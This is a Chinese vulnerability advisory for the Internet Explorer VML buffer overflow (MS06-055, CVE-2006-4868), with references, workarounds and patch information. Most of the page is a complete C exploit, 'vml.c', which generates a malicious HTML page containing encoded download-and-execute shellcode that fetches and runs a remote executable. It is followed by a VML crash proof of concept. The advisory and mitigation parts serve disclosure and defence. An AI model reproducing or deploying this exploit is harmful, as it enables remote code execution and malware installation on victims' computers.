安全研究
安全漏洞
Microsoft IE畸形VML文档处理缓冲区溢出漏洞(MS06-055)
发布日期：2006-09-19
更新日期：2006-09-26
受影响系统：
Microsoft Internet Explorer 6.0 SP1描述：
Microsoft Internet Explorer 5.0.1 SP4
Microsoft Windows XP SP2
Microsoft Windows XP SP1
Microsoft Windows XP Professional x64 Edition
Microsoft Windows Server 2003 x64 Edition
Microsoft Windows Server 2003 SP1
BUGTRAQ ID: 20096
CVE(CAN) ID: CVE-2006-4868
Internet Explorer是微软发布的非常流行的WEB浏览器。
Internet Explorer的VML组件存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞在用户机器上执行任意指令。
VML(Vector Markup Language)是一种基于XML的矢量图形绘制语言。IE通过vgx.dll提供了对VML语言的支持，可以在解析页面中嵌入的VML，显示矢量图。 vgx.dll的_IE5_SHADETYPE_TEXT::Text过程在解析VML的时候存在缓冲区溢出漏洞，利用这个漏洞可以完全控制用户的系统。目前这个漏洞正在被积极的利用。
<*来源：Sunbelt Software （http://www.sunbelt-software.com/）
链接：http://secunia.com/advisories/21989/
http://www.microsoft.com/technet/security/advisory/925568.mspx
http://marc.theaimsgroup.com/?l=bugtraq&m=115868614518870&w=2
http://www.kb.cert.org/vuls/id/416092
http://www.microsoft.com/technet/security/Bulletin/MS06-055.mspx
http://www.us-cert.gov/cas/techalerts/TA06-262A.html
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
*-----------------------------------------------------------------------
*
* vml.c - Internet Explorer VML Buffer Overflow Download Exec Exploit
* !!! 0day !!! Public Version !!!
*
* Copyright (C) 2006 XSec All Rights Reserved.
*
* Author : nop
* :
* :
* :
* Tested : Windows 2000 Server CN
* : + Internet Explorer 6.0 SP1
* :
* Complie : cl vml.c
* :
* Usage : d:\>vml
* :
* : Usage: vml <URL> [htmlfile]
* :
* : d:\>vml http://xxx.xxx/xxx.exe xxx.htm
* :
*
*------------------------------------------------------------------------
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
FILE *fp = NULL;
char *file = "xsec.htm";
char *url = NULL;
#define NOPSIZE 260
#define MAXURL 60
//DWORD ret = 0x7Ffa4512; // call esp for CN
DWORD ret = 0x7800CCDD; // call esp for All win2k
// Search Shellcode
unsigned char dc[] =
"\x8B\xDC\xBE\x6F\x6F\x6F\x70\x4E\xBF\x6F\x30\x30\x70\x4F\x43\x39"
"\x3B\x75\xFB\x4B\x80\x33\xEE\x39\x73\xFC\x75\xF7\xFF\xD3";
// Shellcode Start
unsigned char dcstart[] =
"noop";
// Download Exec Shellcode XOR with 0xee
unsigned char sc[] =
"\x07\x4B\xEE\xEE\xEE\xB1\x8A\x4F\xDE\xEE\xEE\xEE\x65\xAE\xE2\x65"
"\x9E\xF2\x43\x65\x86\xE6\x65\x19\x84\xEA\xB7\x06\xAB\xEE\xEE\xEE"
"\x0C\x17\x86\x81\x80\xEE\xEE\x86\x9B\x9C\x82\x83\xBA\x11\xF8\x7B"
"\x06\xDE\xEE\xEE\xEE\x6D\x02\xCE\x65\x32\x84\xCE\xBD\x11\xB8\xEA"
"\x29\xEA\xED\xB2\x8F\xC0\x8B\x29\xAA\xED\xEA\x96\x8B\xEE\xEE\xDD"
"\x2E\xBE\xBE\xBD\xB9\xBE\x11\xB8\xFE\x65\x32\xBE\xBD\x11\xB8\xE6"
"\x84\xEF\x11\xB8\xE2\xBF\xB8\x65\x9B\xD2\x65\x9A\xC0\x96\xED\x1B"
"\xB8\x65\x98\xCE\xED\x1B\xDD\x27\xA7\xAF\x43\xED\x2B\xDD\x35\xE1"
"\x50\xFE\xD4\x38\x9A\xE6\x2F\x25\xE3\xED\x34\xAE\x05\x1F\xD5\xF1"
"\x9B\x09\xB0\x65\xB0\xCA\xED\x33\x88\x65\xE2\xA5\x65\xB0\xF2\xED"
"\x33\x65\xEA\x65\xED\x2B\x45\xB0\xB7\x2D\x06\xB8\x11\x11\x11\x60"
"\xA0\xE0\x02\x2F\x97\x0B\x56\x76\x10\x64\xE0\x90\x36\x0C\x9D\xD8"
"\xF4\xC1\x9E";
// Shellcode End
unsigned char dcend[] =
"n00p";
// HTML Header
char * header =
"<html xmlns:v=\"urn:schemas-microsoft-com:vml\">\n"
"<head>\n"
"<title>XSec</title>\n"
"<style>\n"
"v\\:* { behavior: url(#default#VML); }\n"
"</style>\n"
"</head>\n"
"<body>\n"
"<v:rect style=\"width:20pt;height:20pt\" fillcolor=\"red\">\n"
"<v:fill method=\"";
char * footer =
"\"/>\n"
"</v:rect>\n"
"</body>\n"
"</html>\n"
;
// convert string to NCR
void convert2ncr(unsigned char * buf, int size)
{
int i=0;
unsigned int ncr = 0;
for(i=0; i<size; i+=2)
{
ncr = (buf[i+1] << 8) + buf[i];
fprintf(fp, "&#%d;", ncr);
}
}
void main(int argc, char **argv)
{
unsigned char buf[1024] = {0};
unsigned char burl[255] = {0};
int sc_len = 0;
int psize = 0;
int i = 0;
unsigned int nop = 0x4141;
DWORD jmp = 0xeb06eb06;
if (argc < 2)
{
printf("Windows VML Download Exec Exploit\n");
printf("Code by nop nop#xsec\n");
//printf("!!! 0Day !!! Please Keep Private!!!\n");
printf("\r\nUsage: %s <URL> [htmlfile]\r\n\n", argv[0]);
exit(1);
}
url = argv[1];
if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) <
10 || strlen(url) > MAXURL)
{
printf("[-] Invalid url. Must start with 'http://','ftp://' and < %d
bytes.\n", MAXURL);
return;
}
printf("[+] download url:%s\n", url);
if(argc >=3) file = argv[2];
printf("[+] exploit file:%s\n", file);
fp = fopen(file, "w+b");
//fp = fopen(file, "w");
if(!fp)
{
printf("[-] Open file error!\n");
return;
}
// print html header
fprintf(fp, "%s", header);
fflush(fp);
for(i=0; i<NOPSIZE; i++)
{
//fprintf(fp, "&#%d;", nop);
fprintf(fp, "A");
}
fflush(fp);
// print shellcode
memset(buf, 0x90, sizeof(buf));
//memset(buf, 0x90, NOPSIZE*2);
memcpy(buf, &ret, 4);
psize = 4+8+0x10;
memcpy(buf+psize, dc, sizeof(dc)-1);
psize += sizeof(dc)-1;
memcpy(buf+psize, dcstart, 4);
psize += 4;
sc_len = sizeof(sc)-1;
memcpy(buf+psize, sc, sc_len);
psize += sc_len;
// print URL
memset(burl, 0, sizeof(burl));
strncpy(burl, url, 60);
for(i=0; i<strlen(url)+1; i++)
{
burl[i] = buf[i] ^ 0xee;
}
memcpy(buf+psize, burl, strlen(url)+1);
psize += strlen(url)+1;
memcpy(buf+psize, dcend, 4);
psize += 4;
// print NCR
convert2ncr(buf, psize);
printf("[+] buff size %d bytes\n", psize);
// print html footer
fprintf(fp, "%s", footer);
fflush(fp);
printf("[+] exploit write to %s success!\n", file);
}
=============================================================================
<!--
Currently just a DoS
EAX is controllable and currently it crashes when trying to move EBX into the location pointed to by EAX
Shirkdog
-->
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<object id="VMLRender" classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
</object>
<style>
v\:* { behavior: url(#VMLRender); }
</style>
</head>
<body>
<v:rect style='width:120pt;height:80pt' fillcolor="red">
<v:fill method="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAABCD01" angle="-45"
focus="100%" focusposition=".5,.5" focussize="0,0"
type="gradientRadial" />
</v:rect>
</body>
</html>
# milw0rm.com [2006-09-19]
建议：
临时解决方法：
* 解除vgx.dll的注册
点击“开始”菜单，选择“运行”，在其中输入下面的命令：
regsvr32 -u "%ProgramFiles%\Common Files\Microsoft Shared\VGX\vgx.dll"
然后点击“确定”，在随后出现的弹出窗口中点击“确定”按钮。
在微软发布补丁后，如果想恢复注册，只需再用上述方法运行下面的命令即可：
regsvr32 "%ProgramFiles%\Common Files\Microsoft Shared\VGX\vgx.dll"
* 修改访问控制列表，限制用户对vgx.dll访问
* 配置Microsoft Windows XP SP2上的IE6在Internet和本地Intranet安全区中禁用“二进制和脚本行为”
* 以纯文本方式读取邮件消息
厂商补丁：
Microsoft
---------
Microsoft已经为此发布了一个安全公告（MS06-055）以及相应补丁:
MS06-055：Vulnerability in Vector Markup Language Could Allow Remote Code Execution (925486)
链接：http://www.microsoft.com/technet/security/Bulletin/MS06-055.mspx
浏览次数：28919
严重程度：10（网友投票）
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